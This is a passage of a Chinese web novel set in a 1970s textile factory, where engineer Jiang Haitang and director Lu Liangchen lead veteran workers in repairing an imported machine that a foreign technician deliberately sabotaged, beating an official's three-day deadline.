姜海棠刚拉开大门走出去,正要锁门,就看到陆良辰从隔壁的大门里走出来,正好也朝着她这个方向看过来。 许久未见,陆良辰依旧穿着那件洗得发白的藏蓝色中山装,左胸口袋别着一支钢笔,在晨光下泛着金属光泽。 只是,一个月不见,他下颌线条更硬朗了,眼下还带着淡淡的青影,神色带着淡淡的疲惫,想必这段时间厂里的工作让他熬了不少夜。 看到姜海棠,他手中的包“咣当”一声掉落在地上。 “海棠?” 这一声唤得极轻,却像是从胸腔深处挤出来的。 陆良辰站在原地没动,只有喉结上下滚动了两下。 “陆厂长。”她抿嘴笑了笑,故意用公事公办的称呼,眼睛却亮晶晶的,“生产指标完成得怎么样?” 陆良辰这才回过神,弯腰去捡手提包,耳尖已经红了:“超额完成百分之十二,姜工可还满意?” 姜海棠没忍住笑出声,陆良辰快走两步,走到姜海棠的身边,拉住她的手:“二十多天没见了,你可想我?” 这句话,陆良辰问得很小声,像是害怕别人听到一样。 姜海棠没想到陆良辰会在外面就这么问,立刻红了面颊。 “怎么还害羞了,海棠,想我了吗?”陆良辰执意要听到姜海棠的回答。 两个人从处对象以来,这是离开的最长的一次。 姜海棠最终还是点头:“想你,很想你!” “可是,你马上又要外出了,这一次走得还更加远。”陆良辰语气里有些埋怨,但并没有怪姜海棠的意思。 姜海棠知道陆良辰这是指自己要跟着周副部长去国外学习,她笑着说:“机会难得,我不想放弃!” 陆良辰捏了一下她的耳朵,说:“我也没想过让你放弃这样的机会,我们目前和国外的技术相比,确实要落后一点,你这么聪明,或许,等你学习回来,就给我们厂和机械厂带来更多的惊喜也未可知。” 姜海棠淘气的行了一个军礼说:“保证完成组织安排的任务!” “听说你昨晚就回来了?累了吧?休息了一个晚上,现在缓过来没有?今天早上要不要再休息一下?”陆良辰一叠声地问着。 姜海棠摇摇头说:“还好,不是很累,我打算今天就去看看,Y国那边怎么?” “Y国那边依然坚持原来的说法,认为是我们操作有误,才让机器有了损伤,因此,并不打算帮助我们解决问题。” “最新沟通的结果是,需要我们承担大笔的费用,才愿意纡尊降贵走一趟。”陆良辰说起这个,就觉得气恼,也是国家现在的技术不够先进,军事不够发达,才这样受制于人。 “我先看看吧,你放心,总有一天,会攻守易型。”姜海棠最后四个字说得很轻,但足够陆良辰听清楚了。 “攻守易型,哈哈哈,我真的希望这一天快点到来。”陆良辰爽朗地大笑起来。 虽然他不知道,等待攻守易型的一天要多久,但只要怀抱希望,总有一天能做到。 “我们先吃饭,然后一起过去看看机器,对了小桃子呢?” “我最近这几天忙,在孔大娘家里呢,中午要是有时间,我们把小桃子接回家,小丫头想你的紧。” 姜海棠也是真的想小桃子了,但现在,厂里的事情比较着急,只能先不让小丫头知道她回来的消息。 “好,中午你去接小桃子。” “海棠,你以后可不能冒险了,救了那些被拐的小孩子虽然是好事,可要是你也被人贩子带走了,可怎么办?” 陆良辰走在姜海棠的旁边,担忧的说着,天知道,他接到商都市公安局的电话的时候,吓得差点都站不稳了。 那些人贩子,一个个都是丧心病狂的,逼急了,真的能杀人灭口。 “我有分寸!” “不行,以后有分寸也不能这么干!”陆良辰坚决反对:“海棠,要是你出事了,你想过我和小桃子怎么办吗?” 陆良辰的语气里不自觉的带上了委屈,就好像已经被姜海棠抛弃了一样。 “好,良辰,我答应你,以后一定不会冒险了,不管什么时候,我都会保重自己。” 姜海棠柔声安抚着,她其实能理解陆良辰的想法,毕竟,十天之后,她又要出国,这一次去的地方更加陌生,陆良辰害怕她有危险也正常。 得到了姜海棠的保证,陆良辰这才安心了许多。 两个人吃了早饭,急匆匆地赶到车间。 刚到车间门口,姜海棠就看到那台从Y国进口机械静静停着,像一头沉睡的钢铁巨兽。 工人们围在旁边,脸上写满焦灼,几位老师傅正拿着扳手,袖口卷到手肘,沾满了黑色油污的焦急讨论。 “姜工来了!”不知是谁喊了一声,人群立刻让开一条道。 工人们自动分开。 “有没有请机械厂那边的人帮忙找原因?” “轴承突然卡死,连带损坏了热定型辊。”陆良辰压低声音,“机械厂那边的人说是冷却油管路被人动过手脚。” 姜海棠瞳孔微缩,“被人动过手脚”这个判断,一般不会轻易说出口。 一旦这么说了,那就是真的有问题了。 “停产多久了?” “一周,我们一直在尝试与Y国那边联系,但对方到现在都不肯飞过来。” “我们最新研发的布料,需要用到这台机器,部里要求月底前交付第一批军用帐篷布,现在……” 话未说完,就看到厂办的一个小干部急匆匆地跑进来:“陆厂长,轻工业局检查组到厂视察了,已经到您的办公室了!” 这个消息无疑是非常突然的,检查一般都会提前通知,这一次不光没有提前通知,甚至到了厂里才让他这个厂长知道,陆良辰立即意识到了来者不善。 陆良辰和姜海棠二人对视一眼,都从对方眼中看到了凝重。 王副局长端着茶杯,笑容可掬:“陆厂长啊,听说进口设备趴窝了?这可是重大生产事故啊。而且,这么重要的机器被损坏,作为厂长,你难辞其咎啊!” 陆良辰看着王副局长脸上那幸灾乐祸的样子,身后的手攥成了拳头。 “王副局长,设备故障正在排查,这几天的影响,我们会想办法补回来。”陆良辰压着性子说道。 轻工局这些人,真是烂透了,作为纺织行业的主管单位,不光不帮厂里解决问题,甚至会人为设置许多障碍,妨碍厂里的正常生产。 但陆良辰也很清楚,这种情况下,他没有办法,只能忍着。 “说得轻巧,都已经一周时间了,一个月可才四周啊!”王副局长喝了一口水,阴阳怪气地说道。 “我们肯定能有办法?” “有办法,你们能有什么办法?我可听说了,Y国不同意他们的工程师过来维修设备,国外的专家不来,你能有什么办法?就靠你厂里的那几个毛孩子?” 显然,王副局长是了解具体情况的,但他想的,应该是趁着纺织厂有困难,让纺织厂的困难更大一点。 王副局长放下茶杯,慢条斯理地掏出一支烟点上,烟雾中那双眯缝眼闪烁着精明的光。 “陆厂长,我知道你朝中有人,你回京城去不好吗?何必要在我们这小地方和我们这些土生土长的人抢饭碗呢?” 不得不说,王副局长这番话说得很直白了,纺织厂这么多的问题,归功于陆良辰的空降,妨碍了本土势力的发展,因此,被人针对了。 不过,这话王副局长也就这么轻描淡写地说了一句,然后他吐出一个烟圈,话锋一转。 “组织上最看重的就是干部的责任担当啊。陆厂长到底年轻,也不知道有没有能力承担责任!” 陆良辰挺直腰板:“王副局长有话不妨直说。” “好!我就喜欢爽快人!我今天来,就要一个准确的时间。” “七天,一周时间,我们肯定能修复好这台机器。”陆良辰咬牙说道。 第224章 故意使坏 “三天,我只给你三天时间,三天之后,要是你们还修不好这台机器——“他故意拖长声调,后面的话没有继续说下去。 旁边一名老工人立即说:“王副局长,三天时间太强人所难了,这台机器可是从Y国进口的!” “三天不能解决问题,那我也爱莫能助,陆厂长,看起来,你们厂里的同志们,也认为你没有修好机器的本事啊。” 王副局长这番话说得让在场的工人们都想冲上去打人了,但是大家这时候都还有理智在,知道打人解决不了任何问题。 “陆厂长,我吃过的盐比你吃过的饭还都,听我一句劝,有多大的能耐端多大的碗,要是实在没有能耐端着这个碗,还是交给别人为好。” “王副局长吃过的盐比我吃过的饭还要多,只能证明王副局长口味重。不过,这是您自己的喜好,我无权干啥,但请您尽管放心,我对我的能力了解还是比较清晰的。”陆良辰不卑不亢地说。 当初胡厂长来纺织厂的时候,大概也是面临过这样的问题吧? 其实,这些小打小闹,并不至于动摇他在厂里的根基,可是却让人有种如鲠在喉的恶心感。 王副局长被陆良辰这样的话呛得面色涨红。 “好,我喜欢这样敢说话的干部,三天之后,如果不能修好设备,你这个厂长主动请辞吧!” 王副局长这两句话说得咬牙切齿,那意思很明显,就是等着陆良辰辞职呢。 在场的人气的涨红了脸,年轻小伙子们更是攥紧了拳头。 但是,人在屋檐下,不得不低头,他们没有任何办法,只能看着王副局长耀武扬威地离开。 “厂长,怎么办?”有人焦急地问。 “我这就去车间。”陆良辰深吸一口气,决定回到车间,跟姜海棠共同找出解决之道。 等他到车间的时候,就看到姜海棠正在一点点地观察机器。 她的表情凝重且认真,就连周围的人,也凝神静气,连一点声音都没有,似乎害怕呼吸声音太大,会影响到姜海棠一样。 姜海棠半跪在机器旁,纤细的手指抚过冰冷的金属外壳,指尖在每一道接缝处稍作停留。 阳光从高窗斜射进来,在她专注的侧脸投下细碎的光斑。 “扳手。”她突然伸手。 老钳工刘师傅立即递上工具。 姜海棠利落地卸下侧板,一股混合着焦糊味的机油气息顿时弥漫开来。 十几个工人不约而同地屏住呼吸,每一个人都非常紧张。 “看这里。”姜海棠的螺丝刀尖点在主轴轴承座上,那里有一道几乎不可见的划痕,“公差被故意放大0.15毫米。” 陆良辰俯身查看,鼻尖几乎碰到她的发梢:“是出厂时就有的?” “不。”姜海棠从轴承缝隙夹出一片亮晶晶的金属垫片,“这是后期加装的定位片,材质和原厂完全不同。” 她将垫片对着光转动,“Y国军工厂特制的镍合金,普通民用设备根本用不上。” 车间里响起一片抽气声,这种精密算计,分明是蓄谋已久的陷阱。 姜海棠已经继续向下探查。 她的指尖突然在冷却油管接口处停住:“问题不止一处。”她示意陆良辰靠近,“接口螺纹被人为磨损过,导致油压不稳。” “能确定是人为?”陆良辰声音发紧,一双拳头更是恨不得直接砸到Y国人的头上去。 姜海棠没有立即回答。 她取下挂在脖子上的放大镜,仔细检查螺纹内侧。 片刻后,她抬起头,镜片上反射着冷光:“螺纹磨损痕迹呈现规律性斜纹,只有专用铰刀才能加工出这种效果。” “狗日的!”刘师傅一拳砸在工具箱上,“这是存心欺负我们啊!” 陆良辰脸色铁青。 难怪Y国的专家要求他们支付高额的维修费用,原来,故障就是他们人为制造的。 “海棠,”他蹲下身与她平视,声音轻得只有两人能听见,“有把握吗?” 姜海棠的目光扫过周围殷切的面孔,最终落在那叠泛黄的操作手册上。 “给我看下热分析仪。”她突然说。 当仪器接通的瞬间,显示屏上的曲线让所有人倒吸凉气,热定型辊的温控模块竟被篡改了参数阈值! “难怪会突然卡死。”姜海棠快速在笔记本上演算,“他们设置了反向温度补偿,机器运转越久,误差就越大……” 陆良辰看着她笔下流畅列出的微分方程,突然按住她颤抖的手腕:“你早就怀疑有问题?” 姜海棠想说是,可是,有些话,众目睽睽下真的不能说。 她也是上辈子到了顾教授家里才知道的,70年代进口设备普遍存在技术壁垒,外方经常在关键参数上做手脚,迫使中方支付高额维修费,当时,为了这些机器,华国付出了非常大的代价,这也是造成国内外汇紧张的一个原因。 “从第一次异常停机就开始记录数据。”姜海棠翻开手册最后一页,那里贴满了折线图,“只是没想到...他们连这种手段都用上了。” 与此同时。 Y国。 技术顾问汉斯·穆勒正悠闲地品着咖啡,嘴角挂着胜券在握的笑容。 他面前摊开的维修报价单上,赫然写着令人咋舌的数字:15万美元。 “穆勒先生,”另外一名外国人一眼不眨地盯着汉斯·穆勒,小心翼翼地问:“华国的金城纺织厂又来电话询问维修事宜……” “鲁槟斯,告诉他们,价格一分都不能少。”穆勒用银勺轻轻搅动着咖啡,杯沿的金色徽章在阳光下闪闪发亮,“而且,现在要预付50%定金,我们才能出发。” 助理卡尔忍不住插话:“先生,他们似乎很执着,已经打了七次电话了。” 穆勒嗤笑一声,从抽屉里取出一盒精致的雪茄,慢条斯理地剪开雪茄。 “让他们继续打电话吧,等他们着急了,才会答应我们的要求,到时候不要说我们要求巨额的维修费用他们不会反对,就是让他们像狗一样跪在我们面前,他们也是愿意的。” 穆勒吐出一个完美的烟圈,眯着眼,似乎已经看到了华国人匍匐在自己脚下的场景。 “这些华国人啊,总以为能靠几本破手册就掌握我们的技术。”转头对卡尔说,“记得把备用零件的价格再上调20%,就说……汇率波动。” 卡尔犹豫道:“可是先生,万一他们真的自己修好了,或者寻求其他人的帮忙怎么办?” “修好?”穆勒像是听到了天大的笑话,拍着桌子大笑起来,“就凭他们那些土作坊的工具?就算是努力一辈子,都做不到。” 至于其他人? 穆勒他得意地敲了敲太阳穴,“我在温控模块里埋了个小惊喜,他们就算发现异常,也绝对算不出补偿公式!除了我,任何人都做不到。” 何况,华国也有和他们不是一条心的人,比如那位偷偷联系过他的颜先生…… 他告诉他,金城纺织厂已经停产一周,厂长陆良辰被勒令三天内解决问题,如果不能解决问题,就要引咎辞职。 连华国的官员都帮着自己整他们,他有什么好担心的? 他起身从酒柜取出一瓶白兰地,“来,提前庆祝又一个华国客户乖乖掏钱!这几年,如果没有华国,我们的生活,未必能有如此滋润,感谢华国的客户们!” 就在酒杯相碰的瞬间,办公桌上的电话突然刺耳地响起。 而此时,遥远的金城纺织厂里,陆良辰和姜海棠正在积极努力地想办法解决问题,而不是想着掏出巨额的费用请穆勒到华国。 “我们需要自主研发替代部件,这不是我一个人能解决的问题,良辰,麻烦你给毛厂长打电话,请他那边安排人协助我们。尤其是云老师,还有……”姜海棠在确定了问题之后,立即找到解决的办法。 不付出高额的费用请Y国的专家来维修,必然弄不到适配的配件,那就只能依靠自力更生了。 “我还需要破解他们留在机器里的温度补偿算法。” 陆良辰问:“海棠,辛苦你了,如果实在没有办法在三天之内完成,我可以不当这个厂长。” “良辰,我心里已经有主张了,我想,到今天晚上,我就可以初步推导出改进方案了。” 类似的案例,她夜梦的时候看到过,虽然和这个不是完全一样,但也有共通的地方,举一反三,应该能解决问题。 陆良辰点头,转身出去给毛厂长打电话去了。 毛厂长接到电话的时候,一口答应下来,机械厂现在已经和纺织厂深度捆绑,不要说借人,就是其他的事只要能帮忙的,毛厂长都没有拒绝的道理。 很快,顾昀笛带着人到了纺织厂,听了姜海棠的解释,又看了姜海棠的图纸之后,顾昀笛沉默片刻,便点头应下。 “有难度,但我会努力,我相信我们一定能在规定的时间之内完成任务。” 第225章 齐心协力 车间里的空气像被压缩过的弹簧,紧绷得能听见彼此的心跳。 姜海棠将那片镍合金垫片放在工作台上,金属表面在灯光下泛着冷光,她指尖划过那些人为打磨的斜纹,突然抬头看向众人。 “Y国人算准了我们没有替代零件,更破解不了他们的算法。但他们并不知道,我们华国人从来不会放弃。我相信,在我们共同努力下,一定能解决问题。” “海棠,我们一起努力,一定可以!”顾昀笛语气坚定的说道。 这个国家,受制于外国那些所谓的专家已经很久了,如果这一次能够顺利解决,也算出了一口恶气。 “海棠,咱们纺织厂还有几位厂宝,或许,我们可以请来帮忙。”陆良辰忽然说道。 姜海棠一愣。 厂宝? 什么是厂宝? 姜海棠是这么想的,也是这么问的。 “我们厂里有几位退休的老师傅,一位是当年给飞机发动机做过垫片的刘师傅,一位是机床能车出镜面精度的王师傅,还有一位研究材料力学的老专家李老师。” 姜海棠还真不知道,厂里有这么多的厉害人物。 一时之间,她都怀疑自己是不是听错了。 “真的吗?他们现在能找到吗?”姜海棠的语气里带着惊喜。 “可以,我立即安排人请他们过来,不,我亲自去。海棠,你先和云老师商量看看有没有什么好的解决方案。” 姜海棠点头,她原本有六成把握能按时完成任务,现在,如果再能添这么几位,那就更有把握了。 “云老师,我们研究一下……” 姜海棠不耽误时间,立即拉着顾昀笛开始讨论起来。 黎景程几个人在一旁认真地听着,顺便将两个人讲到的重点记录梳理一下。 姜海棠抓起铅笔在图纸上划出条弧线:“我们需要三种替代件:主轴轴承座要重新加工,公差必须控制在0.03毫米以内;冷却油管接口的换用铬钒钢,抗磨损性能比原厂的黄铜件更好;最重要的是这个温控模块……” 她指尖重重敲在模拟绘制的曲线上。 “他们的补偿算法藏在三阶微分方程里,得用变分法反推参数。” “微分方程?”段长河挠了挠头,手里的扳手差点掉地上,“那不是大学课本里的东西?我以前觉得这个没什么用,都没学明白。” 姜海棠当然没有想过让段长河和黎景程他们解决这个问题。 这两位虽然欧式大学毕业的,但毕竟是工农兵大学,学到的知识相对比较有限。 至于姜海棠自己,也只知道这个原理。 她的基础其实还不如黎景程和段长河,她属于临时补课类型选手。 要是真的让她将这些都弄出来,她真没自信,更不会自大到认为自己可以解决这个问题。 不过,作为曾经在大学里执教的教授,顾昀笛在这方面应该可以。 “云老师,这个能请您帮忙吗?这方面我有些薄弱!” 顾昀笛听姜海棠这么说,脸上不由划过一抹笑容。 “我还以为,你是无所不能的,原来也有不懂的啊!” “是人就会有不足之处,我有很多不懂的。” “所以得请云老师您帮忙。”姜海棠撕下张演算纸,飞快写下串公式,“顾师傅,您那边的精密车床能车削铬钒钢吗?硬度可能超标。” 顾昀笛接过图纸,眉头在眉心拧成个疙瘩:“普通车刀肯定不行,但我们刚到了批钨钢刀头,是给军工厂赶工剩下的。不过得连夜改刀架,不然走刀精度不够。” 他转身对带来的学生说:“小王,你去一趟机械厂,请示一下,把那台苏国产的老车床调出来,那玩意儿床身沉,抗震性比新的好!” 这边一系列的事情刚安排妥当,陆良辰已经带着一位老同志到了门口。 老同志拄着拐杖站在门口,军绿色的中山装袖口磨出了毛边,眼镜片后的眼睛却亮得惊人。 “海棠,这位是老专家李建东。” “李老师您好。”姜海棠立即上前和李老打招呼。 “真没想到,我一把老骨头了,还有为厂子做贡献的时候,小姜啊,我知道,你是个很厉害的孩子,有什么需要我的地方,你不要客气,只管对我说。” 姜海棠能看出来,老同志说的是真心话,毕竟,老一辈人,为国家为集体和人民奉献的精神是毋庸置疑的。 姜海棠又将目前面临的困境说了一下。 “小姜说的微分方程,拿来我看看。”李老也不客气,直接开口。 顾昀笛立即将草稿纸上记录和验算的一些内容拿了过来。 李老盯着顾昀笛看了几眼。 陆良辰忙介绍:“李老,这位是机械厂的外聘工程师云老师。” 李老却若有所思地多看了好几眼顾昀笛,显然,他看出了点儿什么。 “李老,你好啊,很荣幸有这个机会和您一起共克时艰。”顾昀笛立即上前握住李老的手。 李老笑了笑,并没有多说话。 让低头开始看顾昀笛递给他的相关资料。 姜海棠才发现李老捧着资料的手指在微微发颤,不像是因为害怕,而像是兴奋。 陆良辰看到姜海棠一直盯着李老看,凑到她身边,给她简单地介绍了一下李老的情况。 李老曾是京大的高才生,而且当年在美国留过学,只是他回来后,因为一些个人的原因,不得不隐姓埋名在纺织厂当技术员。 也正是因为这个原因,这些年,李老才能平平安安的。 这些信息还是当初胡厂长搞清楚之后,悄悄告诉陆良辰的。 “这是典型的非线性滞后系统。”老人指着曲线拐点处,“Y国人耍了个小聪明,把补偿系数藏在傅里叶级数的余项里,表面看是二阶方程,实际是三阶隐函数。” 他从随身的帆布包里掏出本泛黄的《工程数学》,书页间夹着张1956年的演算纸,上面的字迹和现在如出一辙。 “当年给鞍钢改轧钢机,遇见过类似的陷阱。他们为了掣肘我们,这些年,没少干这种事,每个厂子几乎都曾经遭遇过这样的霸凌。” 老人说起这段历史的时候,义愤填膺。 姜海棠眼睛一亮:“您是说用拉普拉斯变换?” “不止。”李老在图纸背面画出坐标系,“还得考虑西北的昼夜温差,温度每波动一度,金属热胀系数会变,这是他们没算到的变量,正好能反过来破他们的算法。” 李老果然是这方面的专家,开始说之后,越来越兴奋。 “我先去请其他两位师傅了,海棠,这边就交给你了。”陆良辰说完之后,立即出发。 而这边,姜海棠等人也在努力地推进工作进展。 陆良辰安排人送来午饭,是食堂蒸的玉米面窝头和炒咸菜,另外还给他们几个人准备了一份红烧肉和一份肉末炒豆腐送过来。 几个人就是吃饭的时候,都没有停下工作,而是边吃饭边讨论。 这边刚吃完饭,刘师傅就到了。 刘师傅拉了之后,多余一句废话都没有,立即投入到紧张的工作中, 刘师傅往手心啐了口唾沫,粗糙的手掌在工装裤上蹭了蹭:“丫头你说咋干!当年修战斗机涡轮的时候,比这小一半的垫片都车过,大不了今晚不睡觉!” 他身后闻讯赶来的几个老钳工纷纷点头,工具箱里的刮刀和油石碰撞出清脆的声响,像是在应和这句承诺。 姜海棠简单地说了一下情况,刘师傅立即开工。 他手里的刮刀飞快地动着,在镍合金坯料上刮出细碎的银屑,落在油污的工作台上,像撒了把星星。 “丫头,你看这纹路齐不齐?”他举起半成品垫片,灯光下能看见细密的同心圆。 “当年给轰炸机修发动机,要求更高,眼睛盯着游标卡尺,手的稳如泰山。”说起当年的事,刘师傅脸上都是骄傲。 姜海棠刚想说什么,突然听见机床那边传来“哐当”一声巨响。 顾昀笛抱着胳膊蹲在地上,旁边的车刀断成了两截。 “云老师,您没事吧?” “我没事,只是铬钒钢太硬,钨钢刀头也扛不住。”他抹了把脸上的汗,“这样下去,三天都车不出一个合格的接口。” 车间里瞬间安静下来,只有车床空转的嗡鸣。 “用火焰淬火!”李老突然开口,“把钢坯烧到暗红,再用冷水激,硬度能降下来三成,但韧性不变。老顾,你忘了1965年给油田车抽油杆时用过这法子?” 这话说完了,李老似乎才想起什么,他忙说:“太着急,把你当成我的一位故人了。” 顾昀笛笑道:“姓名不过是个称呼罢了,对与错有什么关系。” 姜海棠算是听明白了,这两位肯定是认识的,而且关系应该还不错。 半小时后,车间角落支起了简易淬火台。 氧炔焰喷吐出蓝紫色的火苗,将钢坯烧得通红,像块正在融化的琥珀。 一名老钳工拎着水桶候在旁边,等顾昀笛喊“放”,就猛地将工件按进冷水里,白雾“嘶”地腾起,裹着股铁腥味。 第226章 成功了 淬火后的钢件泛着青黑色的光泽,顾昀笛重新装上车床,车刀接触工件的瞬间,发出清脆的“沙沙”声,这次再没崩刃。 “成了!”他盯着游标卡尺上的数字,声音里带着不易察觉的颤抖,“直径误差0.01毫米!” 与此同时,李老和姜海棠的演算纸已经堆成了小山。 李老帮姜海棠核对完最后一组参数,突然指着其中一页:“这里的边界条件不对,西北海拔高,大气压比海平面低,热传导系数的修正1.2倍。” 姜海棠一愣,她这时候才发现,她的知识其实是有欠缺的,也亏得有这样的老专家悉心指导,要不然,她可能真的完不成任务。 “谢谢您,果真家有一老如有一宝啊。” 李老从怀里掏出个磨得发亮的计算尺,滑杆拉动的声音在车间里格外清晰,“当年在青省修水电站,就吃过这个亏。” 不多时候,陆良辰说的最后一位厂宝也到位了,正是能将机床车出镜面精度的王师傅。 王师傅和之前来的两位有点不一样,这位五官有点冷硬,也不怎么说话,但是干活的时候,一点都不含糊,有了他的帮忙,进度开始快了起来。 晚饭依旧是陆良辰安排人送过来的,不过,这次,他也来了。 “工作虽然紧张,但大家要及时休息,要是你们各位的身体累垮了,咱们才是真的什么指望都没了。” 陆良辰看着大家一刻都不停歇的样子,十分心疼。 “陆厂长,时间不等人啊,给我们的时间一共就这么多。”顾昀笛头都没抬地开口。 陆良辰成魔了,是啊,时间不等人啊。 可是,这些人的身体熬不住啊,尤其是三位老同志的身体,更是要注意。 “良辰,你安排人弄几张床铺过来,就在那边弄个简易的休息室,大家轮换休息。”姜海棠建议说。 陆良辰答应下来,这种时候,他帮不上其他忙,只能做好后勤保障工作。 “大家先吃饭,吃完饭休息一下再开始工作吧,休息也是为了更好的工作,有句老话是怎么说的?磨刀不误砍柴工,休息好了,工作起来还会更加有效率。” 对于陆良辰这一番话,大家都是认同的,因此,都将手头的工作停下来开始吃饭。 晚饭比中午的饭菜还要更加丰盛一些,不光有肉菜,还炖了软烂的鸡蛋羹。 “张师傅知道我们这边的情况,主动提出今天晚上要在食堂加班,随时为我们大家准备好热水和夜宵,大家想吃什么可以说,我们提前准备。”陆良辰看着饭吃得差不多了,这才说。 “嗨,我们加班工作,拖累别人干什么?这个张尚文,还是这样,也不看看自己多大年龄了。”李老说道。 “今晚厂里很多人都睡不着,就随了大家的意思吧,大家都是想为厂里的事贡献一份力量。”陆良辰立即解释。 既然陆良辰都这么说了,其他人便也不多说话了。 吃完饭稍微休息了一会儿后,大家重新开始忙碌起啦。 姜海棠和顾昀笛两个人改完最后一个公式时,天边已经泛起鱼肚白。 但这只是数据完成了,具体到底是什么情况,还需要进行实验才可以。 “小姜啊,你休息休息,老头子先看着。”李老休息了几个小时之后,走过来说道。 这小姑娘,基础不是很好,有些知识甚至都是欠缺的,可她有一股子韧劲,是其他人比不了的。 通过昨天晚上短暂的和顾昀笛交流,他也知道了,顾昀笛之所以化名为云老师在钢铁厂上班,也是因为姜海棠的功劳。 因此,李老对姜海棠的印象好得不得了。 姜海棠也确实累了,一个晚上持续不断的高强度工作,让她头晕眼花的,急需要休息。 “云老师,您也先休息一下吧,再熬下去,身体吃不消。” 顾昀笛点头,确实熬不住了,他这几个月才将身体调养得稍微好了一些,可不敢太放肆地折腾。 两个人各自去休息。 姜海棠是被一阵欢呼声吵醒的。 “温度补偿成功了!”是黎景程的声音,小伙子声音激动得不得了。 姜海棠急忙跑过来,李老推了推眼镜,镜片后的眼睛湿润了,“小姜啊,你比我当年强。” “是大家一起努力的功劳,我做的其实很有限,如果不是你们大家一起努力,靠我一个人,不可能完成这项任务。” 车间里爆发出雷鸣般的掌声,有人把安全帽抛到空中,又被稳稳接住。陆良辰看着姜海棠布满血丝的眼睛和乱糟糟的头发,竟然觉得,眼前的人,是这个世上最可爱的。 “虽然咱们的温度补偿成功了,但这只是第一步,我们还要将机械需要的配件加工出来才行。”欢呼过后,李老给大家浇了一瓢凉水。 瞬间,沸腾消失了,大家都沉默了。 “这个交给我们几个,肯定按时完成任务!”刘师傅和王师傅异口同声地表态。 刘师傅咧嘴一笑,露出被烟熏黄的牙:“当年给志愿军修枪炮练出来的手艺,没想到今天用上了!” 整整三天时间,大家吃住都在车间里,就算七十岁的李老,也没有叫过一声苦,面对困难的时候,没有一个人想过放弃。 终于,在第三天晚上,他们成功地解决了问题。 甚至,经过他们重新改装的机器效果比原来还要好。 在确定机器没有问题之后,姜海棠等人瞬间觉得疲惫到站立不稳。 最后是刚从广交会上回来的赵凯带着人一个个把他们送回家休息的。 第二天一大早,当王副局长带着秘书趾高气扬地走进车间时,看到的不是停产的窘境,而是一派热火朝天的景象。 刘师傅正在给新加工的轴承座做最后打磨,顾昀笛指挥着工人吊装新配件,姜海棠则蹲在控制面板前,微调着最后几个参数。 “陆厂长,看来你是准备好辞职报告了?” 王副局长的声音里带着施舍般的笑意。 陆良辰没理他,只是对姜海棠点头示意。 姜海棠会意,郑重地按下启动按钮,整条生产线突然轰鸣起来,雪白的涤纶丝从辊筒间倾泻而下,泛着珍珠般的光泽。 “这不可能!”王副局长失控地喊道:“明明 Y国的专家都没有答应来维修,你们怎么可能有办法?” “真是不好意思,让王副局长您失望了,您不是都看到了?咱们的机器修好了。”姜海棠站起身,工作服上还沾着机油,但她一点都没有觉得邋遢,反而挺直了脊背站在王副局长面前。 “或者,您可以给Y国的穆勒先生打个电话,问问他是不是没想到,我们用老车床和淬火台,就能造出比原厂精度还高的零件。您应该有他的联系方式吧?” 姜海棠这话本来只是猜测,但是看到王副局长的脸瞬间涨成了猪肝色,她知道,自己猜对了。 “你……你们……”他指着姜海棠,再看看陆良辰,半天说不出句完整的话。 这时,车间门口传来汽车喇叭声,毛厂长带着几个机械厂的工人走了进来。 “陆厂长,小姜同志,我听说,你们解决问题了,恭喜恭喜啊!” 他嗓门洪亮,震得王副局长往后缩了缩脖子。 陆良辰忙上前和毛厂长打招呼:“还要感谢你啊,毛厂长,要是没有你们机械厂的支持,我们纺织厂这一次可就麻烦了。” “我们就是要团结一心,让那些心里都是小九九的人看看,我们华国人,是不信邪、不服输的!” 说这个话的时候,毛厂长还意有所指地看了一眼王副局长。 王副局长很是恼火,可是,对方偏偏没有提到他,他还不能自已对号入座。 “您说得对,这一次,我们不光修好了我们自己的机器,还整理出了替代零件的图纸和算法公式,我们打算回头就上交,以后再遇到类似的技术封锁,就不用再看外国人的脸色了。” 王局长听着陆良辰这一番铿锵有力的话,再看看现场这些人面容上的疲惫,忽然觉得脸烧得慌。 “我老毛是个粗人,不懂其他的,我就信一句话‘苟利国家生死以,岂因祸福避趋之’我们华国没有孬种。” 王副局长:我觉得你在说我,但是我没有证据! 王副局长见势不妙,悄悄往后退,想趁乱溜走,但最终却还是选择站定脚步。 “陆厂长,是我们错了,以后,我们轻工局会全力以赴支持纺织厂的工作,不管厂长是谁!” 王副局长说完,落荒而逃。 他知道,有些事,他说了不算,但是今天纺织厂给他上的这一课,实在是太让他震撼了,不管怎么样,他都要为纺织厂争取。 众人知道,属于纺织厂的磨难,或许已经过去了,未来一切都会向好。 就在这时候,广播里突然响起新闻播报的声音,说我国自主研发的涤纶面料在广交会上获得了外国客商的青睐。 车间里的人们不约而同地停下手里的活,静静听着,眼角的皱纹里,盛着比阳光更亮的东西。 第227章 小桃子哭了 “攻守易型,海棠,你之前说的,我忽然相信了,我们真的可以做到。”陆良辰轻声说着,目光扫过每一张面孔。 “我们一定可以做到。”姜海棠目光坚定。 “同志们,外国人的机器不是神仙造的。他们能卡我们脖子,我们就能掰断他们的钳子!”陆良辰忽然掷地有声地说道:“从今天起,成立技术攻关小组,人员组成,等厂里研究决定。需要物资,全厂优先调配!我们以后再也不能重蹈今天的覆辙。” 工人们面面相觑,好一会儿,才有人反应过来,陆良辰说了什么。 不知谁先喊了声“干他娘的”,车间里顿时爆发出雷鸣般的应和声。 姜海棠望着陆良辰坚毅的侧脸,突然明白他为何要做出这样的决定,不是莽撞,而是一个党员的担当。 她默默从工具箱里取出自制游标卡尺,在众人惊讶的目光中走向机器核心部位。 “大家看这里,Y国人故意把公差放大0.1毫米,就是要让轴承提前报废。”她指着轴承座上一处细微的刮痕,“他们希望我们能一直被掣肘,我们要做的,就是避免被掣肘。” 有一名钳工师傅凑近一看,猛地拍大腿:“龟儿子!这是存心的!” “我建议,从现在开始,我们着力于研究机械国产化改造,对我们厂里的进口机械进行一次改造,避免以后再发生类似的情况。 对于姜海棠的这个提议,大家竟然都没有表示异议,大家都觉得,这是正常的,应该做的。 等这些事情结束,已经到了中午。 此时,车间里还残留着技术讨论的余温,但姜海棠已经迫不及待地冲出车间了。 一个月了!整整一个月! 从花城风尘仆仆回来,迎接她的就是这台卡住全厂咽喉的进口机器,连续不断地加班、调试、攻坚,让她像个陀螺一样连轴转。 她甚至没时间好好抱抱小桃子,小家伙应该很想念她了,尤其是这几天,连陆良辰都在忙着,小家伙见不到父母,会更加难过吧? 此刻,她心里都是思念,小桃子那张一个月未见、不知是胖了还是瘦了的小脸,还有想象中她委屈巴巴的眼神,愧疚感几乎将她淹没,她归心似箭。 她一路狂奔,顾不上擦去额角沁出的汗珠和沾满袖口、前襟的深色油污,直奔厂办幼儿园。 